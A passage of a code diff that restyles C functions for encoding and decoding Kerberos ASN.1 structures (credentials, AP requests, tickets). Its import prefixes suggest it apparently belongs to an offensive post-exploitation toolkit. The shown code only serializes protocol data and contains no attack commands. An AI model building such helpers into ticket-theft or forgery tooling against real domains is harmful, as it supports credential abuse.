(!ASN1_SUCCEEDED(Asn1Err)) + { KerbErr = KRB_ERR_GENERIC; goto Cleanup; - } else { + } + else + { *EncodedData = MSVCRT$calloc(pEnc->len, sizeof(UCHAR)); - if (*EncodedData == NULL) { + if (*EncodedData == NULL) + { KerbErr = KRB_ERR_GENERIC; *DataSize = 0; - } else { + } + else + { _memcpy(*EncodedData, pEnc->buf, pEnc->len); *DataSize = pEnc->len; } @@ -326,25 +344,32 @@ Cleanup: return KerbErr; } -KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID* DecodedData) { +KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID *DecodedData) +{ KERBERR KerbErr = KDC_ERR_NONE; ASN1decoding_t pDec = NULL; ASN1error_e Asn1Err; - if ((DataSize == 0) || (Data == NULL)) { + if ((DataSize == 0) || (Data == NULL)) + { return KRB_ERR_GENERIC; } KerbErr = KerbInitAsn(module, NULL, &pDec); - if (!KERB_SUCCESS(KerbErr)) { + if (!KERB_SUCCESS(KerbErr)) + { return KerbErr; } *DecodedData = NULL; - Asn1Err = MSASN1$ASN1_Decode(pDec, DecodedData, PduValue, ASN1DECODE_SETBUFFER, (BYTE*)Data, DataSize); - if (!ASN1_SUCCEEDED(Asn1Err)) { - if ((ASN1_ERR_BADARGS == Asn1Err) || (ASN1_ERR_EOD == Asn1Err)) { + Asn1Err = MSASN1$ASN1_Decode(pDec, DecodedData, PduValue, ASN1DECODE_SETBUFFER, (BYTE *)Data, DataSize); + if (!ASN1_SUCCEEDED(Asn1Err)) + { + if ((ASN1_ERR_BADARGS == Asn1Err) || (ASN1_ERR_EOD == Asn1Err)) + { KerbErr = KDC_ERR_MORE_DATA; - } else { + } + else + { KerbErr = KRB_ERR_GENERIC; } *DecodedData = NULL; @@ -355,528 +380,806 @@ KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, U return KerbErr; } -void KerbFreeData(ASN1module_t module, ULONG PduValue, PVOID Data) { +void KerbFreeData(ASN1module_t module, ULONG PduValue, PVOID Data) +{ ASN1decoding_t pDec = NULL; KERBERR KerbErr; KerbErr = KerbInitAsn(module, NULL, &pDec); - if (KERB_SUCCESS(KerbErr)) { + if (KERB_SUCCESS(KerbErr)) + { MSASN1$ASN1_FreeDecoded(pDec, Data, PduValue); KerbTermAsn(NULL, pDec); } } -static int ASN1CALL ASN1Enc_KERB_CRED(ASN1encoding_t enc, ASN1uint32_t tag, KERB_CRED* val) { +static int ASN1CALL ASN1Enc_KERB_CRED(ASN1encoding_t enc, ASN1uint32_t tag, KERB_CRED *val) +{ ASN1uint32_t nExplTagLenOff0; ASN1uint32_t nLenOff; ASN1uint32_t nLenOff0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x40000016, &nExplTagLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->version)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->message_type)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!ASN1Enc_KERB_CRED_tickets(enc, 0, &(val)->tickets)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000003, &nLenOff0)) return 0; - if (!ASN1Enc_KERB_ENCRYPTED_DATA(enc, 0, &(val)->encrypted_part)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nExplTagLenOff0)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x40000016, &nExplTagLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->version)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->message_type)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!ASN1Enc_KERB_CRED_tickets(enc, 0, &(val)->tickets)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000003, &nLenOff0)) + return 0; + if (!ASN1Enc_KERB_ENCRYPTED_DATA(enc, 0, &(val)->encrypted_part)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nExplTagLenOff0)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_AP_REQUEST(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AP_REQUEST* val) { +static int ASN1CALL ASN1Dec_KERB_AP_REQUEST(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AP_REQUEST *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t pExplTagDec0; - ASN1octet_t* pbExplTagDataEnd0; + ASN1octet_t *pbExplTagDataEnd0; ASN1decoding_t dd0; - ASN1octet_t* di0; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x4000000e, &pExplTagDec0, &pbExplTagDataEnd0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->version)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->message_type)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecBitString(dd0, 0x3, &(val)->ap_options)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_TICKET(dd0, 0, &(val)->ticket)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000004, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_ENCRYPTED_DATA(dd0, 0, &(val)->authenticator)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) return 0; + ASN1octet_t *di0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x4000000e, &pExplTagDec0, &pbExplTagDataEnd0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->version)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->message_type)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecBitString(dd0, 0x3, &(val)->ap_options)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_TICKET(dd0, 0, &(val)->ticket)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000004, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_ENCRYPTED_DATA(dd0, 0, &(val)->authenticator)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) + return 0; return 1; } -static int ASN1CALL ASN1Enc_KERB_CRED_tickets(ASN1encoding_t enc, ASN1uint32_t tag, PKERB_CRED_tickets* val) { +static int ASN1CALL ASN1Enc_KERB_CRED_tickets(ASN1encoding_t enc, ASN1uint32_t tag, PKERB_CRED_tickets *val) +{ ASN1uint32_t nLenOff0; PKERB_CRED_tickets f; ASN1uint32_t nLenOff; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x80000002, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) return 0; - for (f = *val; f; f = f->next) { - if (!ASN1Enc_KERB_TICKET(enc, 0, &f->value)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x80000002, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) + return 0; + for (f = *val; f; f = f->next) + { + if (!ASN1Enc_KERB_TICKET(enc, 0, &f->value)) + return 0; } - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; return 1; } -static int ASN1CALL ASN1Enc_KERB_TICKET(ASN1encoding_t enc, ASN1uint32_t tag, KERB_TICKET* val) { +static int ASN1CALL ASN1Enc_KERB_TICKET(ASN1encoding_t enc, ASN1uint32_t tag, KERB_TICKET *val) +{ ASN1uint32_t nExplTagLenOff0; ASN1uint32_t nLenOff; ASN1uint32_t nLenOff0; ASN1uint32_t t; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x40000001, &nExplTagLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->ticket_version)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x40000001, &nExplTagLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->ticket_version)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; t = _strlen((val)->realm); - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) return 0; - if (!MSASN1$ASN1DEREncCharString(enc, 0x1b, t, (val)->realm)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000002, &nLenOff0)) return 0; - if (!ASN1Enc_KERB_PRINCIPAL_NAME(enc, 0, &(val)->server_name)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000003, &nLenOff0)) return 0; - if (!ASN1Enc_KERB_ENCRYPTED_DATA(enc, 0, &(val)->encrypted_part)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if ((val)->o[0] & 0x80) { - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000004, &nLenOff0)) return 0; - if (!ASN1Enc_PKERB_TICKET_EXTENSIONS(enc, 0, &(val)->ticket_extensions)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) + return 0; + if (!MSASN1$ASN1DEREncCharString(enc, 0x1b, t, (val)->realm)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000002, &nLenOff0)) + return 0; + if (!ASN1Enc_KERB_PRINCIPAL_NAME(enc, 0, &(val)->server_name)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000003, &nLenOff0)) + return 0; + if (!ASN1Enc_KERB_ENCRYPTED_DATA(enc, 0, &(val)->encrypted_part)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if ((val)->o[0] & 0x80) + { + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000004, &nLenOff0)) + return 0; + if (!ASN1Enc_PKERB_TICKET_EXTENSIONS(enc, 0, &(val)->ticket_extensions)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; } - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nExplTagLenOff0)) return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nExplTagLenOff0)) + return 0; return 1; } -static int ASN1CALL ASN1Enc_KERB_PRINCIPAL_NAME(ASN1encoding_t enc, ASN1uint32_t tag, KERB_PRINCIPAL_NAME* val) { +static int ASN1CALL ASN1Enc_KERB_PRINCIPAL_NAME(ASN1encoding_t enc, ASN1uint32_t tag, KERB_PRINCIPAL_NAME *val) +{ ASN1uint32_t nLenOff; ASN1uint32_t nLenOff0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->name_type)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!ASN1Enc_KERB_PRINCIPAL_NAME_name_string(enc, 0, &(val)->name_string)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->name_type)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!ASN1Enc_KERB_PRINCIPAL_NAME_name_string(enc, 0, &(val)->name_string)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; return 1; } static int ASN1CALL ASN1Enc_KERB_PRINCIPAL_NAME_name_string(ASN1encoding_t enc, ASN1uint32_t tag, - PKERB_PRINCIPAL_NAME_name_string* val) { + PKERB_PRINCIPAL_NAME_name_string *val) +{ ASN1uint32_t nLenOff0; PKERB_PRINCIPAL_NAME_name_string f; ASN1uint32_t nLenOff; ASN1uint32_t t; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x80000001, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) return 0; - for (f = *val; f; f = f->next) { + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x80000001, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x10, &nLenOff)) + return 0; + for (f = *val; f; f = f->next) + { t = _strlen(f->value); - if (!MSASN1$ASN1DEREncCharString(enc, 0x1b, t, f->value)) return 0; + if (!MSASN1$ASN1DEREncCharString(enc, 0x1b, t, f->value)) + return 0; } - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; return 1; } -static int ASN1CALL ASN1Enc_KERB_ENCRYPTED_DATA(ASN1encoding_t enc, ASN1uint32_t tag, KERB_ENCRYPTED_DATA* val) { +static int ASN1CALL ASN1Enc_KERB_ENCRYPTED_DATA(ASN1encoding_t enc, ASN1uint32_t tag, KERB_ENCRYPTED_DATA *val) +{ ASN1uint32_t nLenOff; ASN1uint32_t nLenOff0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->encryption_type)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if ((val)->o[0] & 0x80) { - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->version)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->encryption_type)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if ((val)->o[0] & 0x80) + { + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->version)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; } - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000002, &nLenOff0)) return 0; - if (!MSASN1$ASN1DEREncOctetString(enc, 0x4, ((val)->cipher_text).length, ((val)->cipher_text).value)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000002, &nLenOff0)) + return 0; + if (!MSASN1$ASN1DEREncOctetString(enc, 0x4, ((val)->cipher_text).length, ((val)->cipher_text).value)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; return 1; } static int ASN1CALL ASN1Enc_PKERB_TICKET_EXTENSIONS(ASN1encoding_t enc, ASN1uint32_t tag, - PPKERB_TICKET_EXTENSIONS* val) { + PPKERB_TICKET_EXTENSIONS *val) +{ PPKERB_TICKET_EXTENSIONS f; ASN1uint32_t nLenOff; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) return 0; - for (f = *val; f; f = f->next) { - if (!ASN1Enc_PKERB_TICKET_EXTENSIONS_Seq(enc, 0, &f->value)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) + return 0; + for (f = *val; f; f = f->next) + { + if (!ASN1Enc_PKERB_TICKET_EXTENSIONS_Seq(enc, 0, &f->value)) + return 0; } - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; return 1; } static int ASN1CALL ASN1Enc_PKERB_TICKET_EXTENSIONS_Seq(ASN1encoding_t enc, ASN1uint32_t tag, - PKERB_TICKET_EXTENSIONS_Seq* val) { + PKERB_TICKET_EXTENSIONS_Seq *val) +{ ASN1uint32_t nLenOff; ASN1uint32_t nLenOff0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->te_type)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) return 0; - if (!MSASN1$ASN1DEREncOctetString(enc, 0x4, ((val)->te_data).length, ((val)->te_data).value)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) return 0; - if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, tag ? tag : 0x10, &nLenOff)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000000, &nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncS32(enc, 0x2, (val)->te_type)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncExplicitTag(enc, 0x80000001, &nLenOff0)) + return 0; + if (!MSASN1$ASN1DEREncOctetString(enc, 0x4, ((val)->te_data).length, ((val)->te_data).value)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff0)) + return 0; + if (!MSASN1$ASN1BEREncEndOfContents(enc, nLenOff)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_TICKET(ASN1decoding_t dec, ASN1uint32_t tag, KERB_TICKET* val) { +static int ASN1CALL ASN1Dec_KERB_TICKET(ASN1decoding_t dec, ASN1uint32_t tag, KERB_TICKET *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t pExplTagDec0; - ASN1octet_t* pbExplTagDataEnd0; + ASN1octet_t *pbExplTagDataEnd0; ASN1decoding_t dd0; - ASN1octet_t* di0; + ASN1octet_t *di0; ASN1uint32_t t; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x40000001, &pExplTagDec0, &pbExplTagDataEnd0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) return 0; - MSVCRT$memset((val)->o, 0, 1); - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->ticket_version)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecZeroCharString(dd0, 0x1b, &(val)->realm)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_PRINCIPAL_NAME(dd0, 0, &(val)->server_name)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_ENCRYPTED_DATA(dd0, 0, &(val)->encrypted_part)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x40000001, &pExplTagDec0, &pbExplTagDataEnd0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) + return 0; + _memset((val)->o, 0, 1); + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->ticket_version)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecZeroCharString(dd0, 0x1b, &(val)->realm)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_PRINCIPAL_NAME(dd0, 0, &(val)->server_name)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_ENCRYPTED_DATA(dd0, 0, &(val)->encrypted_part)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; MSASN1$ASN1BERDecPeekTag(dd, &t); - if (t == 0x80000004) { + if (t == 0x80000004) + { (val)->o[0] |= 0x80; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000004, &dd0, &di0)) return 0; - if (!ASN1Dec_PKERB_TICKET_EXTENSIONS(dd0, 0, &(val)->ticket_extensions)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000004, &dd0, &di0)) + return 0; + if (!ASN1Dec_PKERB_TICKET_EXTENSIONS(dd0, 0, &(val)->ticket_extensions)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; } - if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) return 0; + if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_PRINCIPAL_NAME(ASN1decoding_t dec, ASN1uint32_t tag, KERB_PRINCIPAL_NAME* val) { +static int ASN1CALL ASN1Dec_KERB_PRINCIPAL_NAME(ASN1decoding_t dec, ASN1uint32_t tag, KERB_PRINCIPAL_NAME *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t dd0; - ASN1octet_t* di0; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->name_type)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!ASN1Dec_KERB_PRINCIPAL_NAME_name_string(dd, 0, &(val)->name_string)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + ASN1octet_t *di0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->name_type)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!ASN1Dec_KERB_PRINCIPAL_NAME_name_string(dd, 0, &(val)->name_string)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } static int ASN1CALL ASN1Dec_KERB_PRINCIPAL_NAME_name_string(ASN1decoding_t dec, ASN1uint32_t tag, - PKERB_PRINCIPAL_NAME_name_string* val) { - PKERB_PRINCIPAL_NAME_name_string* f; + PKERB_PRINCIPAL_NAME_name_string *val) +{ + PKERB_PRINCIPAL_NAME_name_string *f; ASN1decoding_t dd0; - ASN1octet_t* di0; + ASN1octet_t *di0; ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1uint32_t t; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd0, 0x10, &dd, &di)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x80000001, &dd0, &di0)) + return 0; + if 